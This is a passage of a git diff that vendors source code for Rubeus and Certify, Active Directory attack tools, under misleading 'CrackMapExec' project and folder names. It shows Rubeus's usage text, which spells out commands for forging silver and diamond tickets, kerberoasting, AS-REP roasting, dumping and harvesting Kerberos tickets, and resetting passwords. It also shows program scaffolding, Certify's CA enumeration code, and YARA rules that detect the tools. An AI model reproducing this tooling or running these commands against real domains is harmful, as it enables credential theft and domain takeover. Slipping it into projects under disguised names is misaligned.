relevent information, using the KRBTGT key to calculate the KDCChecksum and TicketChecksum: + Rubeus.exe silver /ldap [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information but explicitly overriding some values: + Rubeus.exe silver /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information and including an S4UDelegationInfo PAC section: + Rubeus.exe silver /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information and setting a different cname and crealm: + Rubeus.exe silver /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket, setting values explicitly: + Rubeus.exe silver [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a diamond TGT by requesting a TGT based on a user password/hash: + Rubeus.exe diamond /user:USER [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] + + Forge a diamond TGT by requesting a TGT using a PCKS12 certificate: + Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] + + Forge a diamond TGT by requesting a TGT using tgtdeleg: + Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS] + + + Ticket management: + + Submit a TGT, optionally targeting a specific LUID (if elevated): + Rubeus.exe ptt [/luid:LOGINID] + + Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated): + Rubeus.exe purge [/luid:LOGINID] + + Parse and describe a ticket (service ticket or TGT): + Rubeus.exe describe [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT] + + + Ticket extraction and harvesting: + + Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service: + Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] + + List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID: + Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] + + Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID: + Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap] + + Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation: + Rubeus.exe tgtdeleg [/target:SPN] + + Monitor every /interval SECONDS (default 60) for new TGTs: + Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] + + Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200): + Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] + + + Roasting: + + Perform Kerberoasting: + Rubeus.exe kerberoast [[/spn:""blah/blah""] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform Kerberoasting, outputting hashes to a file: + Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:""blah/blah""] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] + + Perform Kerberoasting, outputting hashes in the file output format, but to the console: + Rubeus.exe kerberoast /simple [[/spn:""blah/blah""] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform Kerberoasting with alternate credentials: + Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:""blah/blah""] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform Kerberoasting with an existing TGT: + Rubeus.exe kerberoast [/nowrap] + + Perform Kerberoasting with an existing TGT using an enterprise principal: + Rubeus.exe kerberoast /enterprise [/nowrap] + + Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail: + Rubeus.exe kerberoast /autoenterprise [/ldaps] [/nowrap] + + Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts: + Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap] + + Perform ""opsec"" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts: + Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap] + + List statistics about found Kerberoastable accounts without actually sending ticket requests: + Rubeus.exe kerberoast /stats [/ldaps] [/nowrap] + + Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter): + Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap] + + Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets: + Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap] + + Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%: + Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap] + + Perform AES Kerberoasting: + Rubeus.exe kerberoast /aes [/ldaps] [/nowrap] + + Perform Kerberoasting using an account without pre-auth by sending AS-REQ's: + Rubeus.exe kerberoast /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap] + + Perform AS-REP ""roasting"" for any users without preauth: + Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/nowrap] + + Perform AS-REP ""roasting"" for any users without preauth, outputting Hashcat format to a file: + Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] [/ldaps] [/des] + + Perform AS-REP ""roasting"" for any users without preauth using alternate credentials: + Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU,...""] [/ldaps] [/des] [/nowrap] + + Perform AES AS-REP ""roasting"": + Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU=,...""] /aes [/ldaps] [/nowrap] + + + Miscellaneous: + + Create a hidden program (unless /show is passed) with random (or user-defined) /netonly credentials, displaying the PID and LUID: + Rubeus.exe createnetonly /program:""C:\Windows\System32\cmd.exe"" [/show] [/username:USERNAME] [/domain:DOMAIN] [/password:PASSWORD] + + Reset a user's password from a supplied TGT (AoratoPw): + Rubeus.exe changepw /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME] + + Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes: + Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN] + + Substitute an sname or SPN into an existing service ticket: + Rubeus.exe tgssub /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap] + Rubeus.exe tgssub /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap] + + Display the current user's LUID: + Rubeus.exe currentluid + + Display information about the (current) or (target) logon session, default all readable: + Rubeus.exe logonsession [/current] [/luid:X] + + The ""/consoleoutfile:C:\FILE.txt"" argument redirects all console output to the file specified. + + The ""/nowrap"" flag prevents any base64 ticket blobs from being column wrapped for any function. + + The ""/debug"" flag outputs ASN.1 debugging information. + + Convert an AS-REP and a key to a Kirbi: + Rubeus.exe asrep2kirbi /asrep: [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap] + + Insert new DES session key into a Kirbi: + Rubeus.exe kirbi /kirbi: /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:FILENAME] [/nowrap] + + + NOTE: Base64 ticket blobs can be decoded with : + + [IO.File]::WriteAllBytes(""ticket.kirbi"", [Convert]::FromBase64String(""aa..."")) + +"; + Console.WriteLine(usage); + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Program.cs b/inc/kerbtgs/CrackMapCore/Program.cs new file mode 100644 index 0000000..f32f0d4 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Program.cs @@ -0,0 +1,139 @@ +using Rubeus.Domain; +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Rubeus +{ + public class Program + { + // global that specifies if ticket output should be wrapped or not + public static bool wrapTickets = true; + + public static bool Debug = false; + + private static void FileExecute(string commandName, Dictionary parsedArgs) + { + // execute w/ stdout/err redirected to a file + + string file = parsedArgs["/consoleoutfile"]; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + + using (StreamWriter writer = new StreamWriter(file, true)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + + Info.ShowLogo(); + + try + { + // print unicode char properly if there's a console + if(IsConsolePresent()) Console.OutputEncoding = Encoding.UTF8; + + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled Rubeus exception:\r\n"); + Console.WriteLine(e); + } + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution + + string[] args = command.Split(); + + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + string output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + private static bool IsConsolePresent() + { + return Interop.GetConsoleWindow() != IntPtr.Zero; + } + + public static void Main(string[] args) + { + // try to parse the command line arguments, show usage on failure and then bail + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) { + Info.ShowLogo(); + Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + if (parsed.Arguments.ContainsKey("/nowrap")) + { + wrapTickets = false; + } + + if (parsed.Arguments.ContainsKey("/debug")) + { + Debug = true; + } + + if (parsed.Arguments.ContainsKey("/consoleoutfile")) { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); + } + } + } +} diff --git a/inc/kerbtgs/CrackMapCore/Properties/AssemblyInfo.cs b/inc/kerbtgs/CrackMapCore/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..891f86d --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Rubeus")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Rubeus")] +[assembly: AssemblyCopyright("Copyright © 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("658c8b7f-3664-4a95-9572-a3e5871dfc06")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/inc/kerbtgs/CrackMapCore/app.config b/inc/kerbtgs/CrackMapCore/app.config new file mode 100644 index 0000000..fcd0c93 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/app.config @@ -0,0 +1,3 @@ + + + diff --git a/inc/kerbtgs/CrackMapExec.sln b/inc/kerbtgs/CrackMapExec.sln new file mode 100644 index 0000000..8b71ecc --- /dev/null +++ b/inc/kerbtgs/CrackMapExec.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Rubeus", "Rubeus\Rubeus.csproj", "{658C8B7F-3664-4A95-9572-A3E5871DFC06}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Debug|Any CPU.Build.0 = Debug|Any CPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.ActiveCfg = Release|Any CPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/inc/kerbtgs/CrackMapExec.yar b/inc/kerbtgs/CrackMapExec.yar new file mode 100644 index 0000000..139b155 --- /dev/null +++ b/inc/kerbtgs/CrackMapExec.yar @@ -0,0 +1,14 @@ +// From https://github.com/fireeye/red_team_tool_countermeasures/blob/3a773645093e77107dfc4e3b29eb74845cc2f25d/rules/RUBEUS/production/yara/HackTool_MSIL_Rubeus_1.yar +// License: BSD 2-clause +rule HackTool_MSIL_Rubeus_1 +{ + meta: + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project." + md5 = "66e0681a500c726ed52e5ea9423d2654" + rev = 4 + author = "FireEye" + strings: + $typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide + condition: + uint16(0) == 0x5A4D and $typelibguid +} \ No newline at end of file diff --git a/inc/kerbtgt/CrackMapExec.sln b/inc/kerbtgt/CrackMapExec.sln new file mode 100644 index 0000000..a28fd17 --- /dev/null +++ b/inc/kerbtgt/CrackMapExec.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29009.5 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Certify", "Certify\Certify.csproj", "{64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97}.Debug|Any CPU.Build.0 = Debug|Any CPU + {64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97}.Release|Any CPU.ActiveCfg = Release|Any CPU + {64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {07B108A3-1131-4969-9E7A-B7FD5682E61B} + EndGlobalSection +EndGlobal diff --git a/inc/kerbtgt/CrackMapExec.yar b/inc/kerbtgt/CrackMapExec.yar new file mode 100644 index 0000000..2e37a1d --- /dev/null +++ b/inc/kerbtgt/CrackMapExec.yar @@ -0,0 +1,10 @@ +rule Certify +{ + meta: + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project." + author = "Will Schroeder (@harmj0y)" + strings: + $typelibguid = "64524ca5-e4d0-41b3-acc3-3bdbefd40c97" ascii nocase wide + condition: + uint16(0) == 0x5A4D and $typelibguid +} \ No newline at end of file diff --git a/inc/kerbtgt/CrackMapTicket/ArgumentParser.cs b/inc/kerbtgt/CrackMapTicket/ArgumentParser.cs new file mode 100644 index 0000000..a4cd979 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/ArgumentParser.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace Certify +{ + public static class ArgumentParser + { + public static ArgumentParserResult Parse(IEnumerable args) + { + var arguments = new Dictionary(); + + foreach (var argument in args) + { + var idx = argument.IndexOf(':'); + if (idx > 0) + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + else + arguments[argument] = string.Empty; + } + + return ArgumentParserResult.Success(arguments); + } + } +} diff --git a/inc/kerbtgt/CrackMapTicket/ArgumentParserResult.cs b/inc/kerbtgt/CrackMapTicket/ArgumentParserResult.cs new file mode 100644 index 0000000..6cae911 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/ArgumentParserResult.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace Certify +{ + public class ArgumentParserResult + { + public bool ParsedOk { get; } + public Dictionary Arguments { get; } + + private ArgumentParserResult(bool parsedOk, Dictionary arguments) + { + ParsedOk = parsedOk; + Arguments = arguments; + } + + public static ArgumentParserResult Success(Dictionary arguments) + => new ArgumentParserResult(true, arguments); + + public static ArgumentParserResult Failure() + => new ArgumentParserResult(false, new Dictionary()); + + } +} \ No newline at end of file diff --git a/inc/kerbtgt/CrackMapTicket/Certify.csproj b/inc/kerbtgt/CrackMapTicket/Certify.csproj new file mode 100644 index 0000000..a3e0a90 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Certify.csproj @@ -0,0 +1,134 @@ + + + + + Debug + AnyCPU + {64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97} + Exe + Certify + Certify + v4.0 + 512 + true + + + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + 8.0 + enable + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + 8.0 + enable + true + + + AnyCPU + none + true + bin\Release\ + TRACE + prompt + 0 + 8.0 + enable + + + + False + True + .\Interop.CERTCLILib.dll + + + False + False + .\Interop.CERTENROLLLib.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + False + .NET Framework 3.5 SP1 + false + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + \ No newline at end of file diff --git a/inc/kerbtgt/CrackMapTicket/CommandCollection.cs b/inc/kerbtgt/CrackMapTicket/CommandCollection.cs new file mode 100644 index 0000000..037d692 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/CommandCollection.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using Certify.Commands; + +namespace Certify +{ + public class CommandCollection + { + private readonly Dictionary> _availableCommands = new Dictionary>(); + + // How To Add A New Command: + // 1. Create your command class in the Commands Folder + // a. That class must have a CommandName static property that has the Command's name + // and must also Implement the ICommand interface + // b. Put the code that does the work into the Execute() method + // 2. Add an entry to the _availableCommands dictionary in the Constructor below. + + public CommandCollection() + { + _availableCommands.Add(CAs.CommandName, () => new CAs()); + _availableCommands.Add(Request.CommandName, () => new Request()); + _availableCommands.Add(Download.CommandName, () => new Download()); + _availableCommands.Add(Find.CommandName, () => new Find()); + _availableCommands.Add(PKIObjects.CommandName, () => new PKIObjects()); + } + + public bool ExecuteCommand(string commandName, Dictionary arguments) + { + bool commandWasFound; + + if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) + commandWasFound= false; + else + { + // Create the command object + var command = _availableCommands[commandName].Invoke(); + + // and execute it with the arguments from the command line + command.Execute(arguments); + + commandWasFound = true; + } + + return commandWasFound; + } + } +} \ No newline at end of file diff --git a/inc/kerbtgt/CrackMapTicket/Commands/CAs.cs b/inc/kerbtgt/CrackMapTicket/Commands/CAs.cs new file mode 100644 index 0000000..a86a73b --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Commands/CAs.cs @@ -0,0 +1,155 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using Certify.Domain; +using Certify.Lib; + +namespace Certify.Commands +{ + public class CAs : ICommand + { + public static string CommandName => "cas"; + private LdapOperations _ldap = new LdapOperations(); + private bool skipWebServiceChecks; + private bool hideAdmins; + private bool showAllPermissions; + private string? caArg; + private string? domain; + private string? ldapServer; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Find certificate authorities"); + + showAllPermissions = arguments.ContainsKey("/showAllPermissions"); + skipWebServiceChecks = arguments.ContainsKey("/skipWebServiceChecks"); + hideAdmins = arguments.ContainsKey("/hideAdmins"); + + if (arguments.ContainsKey("/ca")) + { + caArg = arguments["/ca"]; + if (!caArg.Contains("\\")) + { + Console.WriteLine("[!] Warning: if using /ca format of SERVER\\CA-NAME, you may need to specify \\\\ for escaping purposes.\r\n"); + } + } + + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + if (!domain.Contains(".")) + { + Console.WriteLine("[!] /domain:X must be a FQDN"); + return; + } + } + + if (arguments.ContainsKey("/ldapserver")) + { + ldapServer = arguments["/ldapserver"]; + } + + + _ldap = new LdapOperations(new LdapSearchOptions() + { + Domain = domain, LdapServer = ldapServer + }); + + Console.WriteLine($"[*] Using the search base '{_ldap.ConfigurationPath}'"); + + DisplayRootCAs(); + DisplayNtAuthCertificates(); + DisplayEnterpriseCAs(); + } + + private void DisplayRootCAs() + { + Console.WriteLine("\n\n[*] Root CAs\n"); + + var rootCAs = _ldap.GetRootCAs(); + if(rootCAs == null) throw new NullReferenceException("RootCAs are null"); + + foreach (var ca in rootCAs) + { + if(ca.Certificates == null) continue; + + ca.Certificates.ForEach(cert => + { + DisplayUtil.PrintCertificateInfo(cert); + Console.WriteLine(); + }); + } + } + + private void DisplayNtAuthCertificates() + { + Console.WriteLine("\n\n[*] NTAuthCertificates - Certificates that enable authentication:\n"); + + var ntauth = _ldap.GetNtAuthCertificates(); + + if (ntauth.Certificates == null || !ntauth.Certificates.Any()) + { + Console.WriteLine(" There are no NTAuthCertificates\n"); + return; + } + + ntauth.Certificates.ForEach(cert => + { + DisplayUtil.PrintCertificateInfo(cert); + Console.WriteLine(); + }); + } + + private void DisplayEnterpriseCAs() + { + Console.WriteLine("\n[*] Enterprise/Enrollment CAs:\n"); + foreach (var ca in _ldap.GetEnterpriseCAs(caArg)) + { + DisplayUtil.PrintEnterpriseCaInfo(ca, hideAdmins, showAllPermissions); + + if (!skipWebServiceChecks) + { + Console.WriteLine(); + PrintCAWebServices(ca.GetWebServices()); + } + + Console.WriteLine(" Enabled Certificate Templates:"); + Console.WriteLine(" " + string.Join("\n ", ca.Templates)); + Console.WriteLine("\n\n"); + } + } + + private void PrintCAWebServices(CertificateAuthorityWebServices webServices) + { + var indent = " "; + var urlIndent = new string(' ', 36); + if (webServices.LegacyAspEnrollmentUrls.Any()) + { + var str = $"Legacy ASP Enrollment Website : " + + string.Join($"\n{urlIndent}", webServices.LegacyAspEnrollmentUrls); + Console.WriteLine(indent + str); + } + + if (webServices.EnrollmentWebServiceUrls.Any()) + { + var str = $"Enrollment Web Service : " + + string.Join($"\n{urlIndent}", webServices.EnrollmentWebServiceUrls); + Console.WriteLine(indent + str); + } + + if (webServices.EnrollmentPolicyWebServiceUrls.Any()) + { + var str = $"Enrollment Policy Web Service : " + + string.Join($"\n{urlIndent}", webServices.EnrollmentPolicyWebServiceUrls); + Console.WriteLine(indent + str); + } + + if (webServices.NetworkDeviceEnrollmentServiceUrls.Any()) + { + var str = $"NDES Web Service : " + + string.Join($"\n{urlIndent}", webServices.NetworkDeviceEnrollmentServiceUrls); + Console.WriteLine(indent + str); + } + } + } +} \ No newline at end of file diff --git a/inc/kerbtgt/CrackMapTicket/Commands/Download.cs b/inc/kerbtgt/CrackMapTicket/Commands/Download.cs new file mode 100644 index 0000000..f7dc6b9 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Commands/Download.cs @@ -0,0 +1,68 @@ +using CERTENROLLLib; +using System; +using System.Collections.Generic; + +namespace Certify.Commands +{ + public class Download : ICommand + { + public static string CommandName => "download"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Download a Certificates"); + + string CA; + var install = arguments.ContainsKey("/install"); + + if (arguments.ContainsKey("/ca")) + { + CA = arguments["/ca"]; + if (!CA.Contains("\\")) + { + Console.WriteLine("[X] /ca format of SERVER\\CA-NAME required, you may need to specify \\\\ for escaping purposes"); + return; + } + } + else + { + Console.WriteLine("[X] A /ca:CA is required! (format SERVER\\CA-NAME)"); + return; + } + + if (!arguments.ContainsKey("/id")) + { + Console.WriteLine("[X] A certificate /id:X is required!"); + return; + } + + if (!int.TryParse(arguments["/id"], out var requestId)) + { + Console.WriteLine("[X] Invalid certificate ID format: {0}", arguments["/id"]); + return; 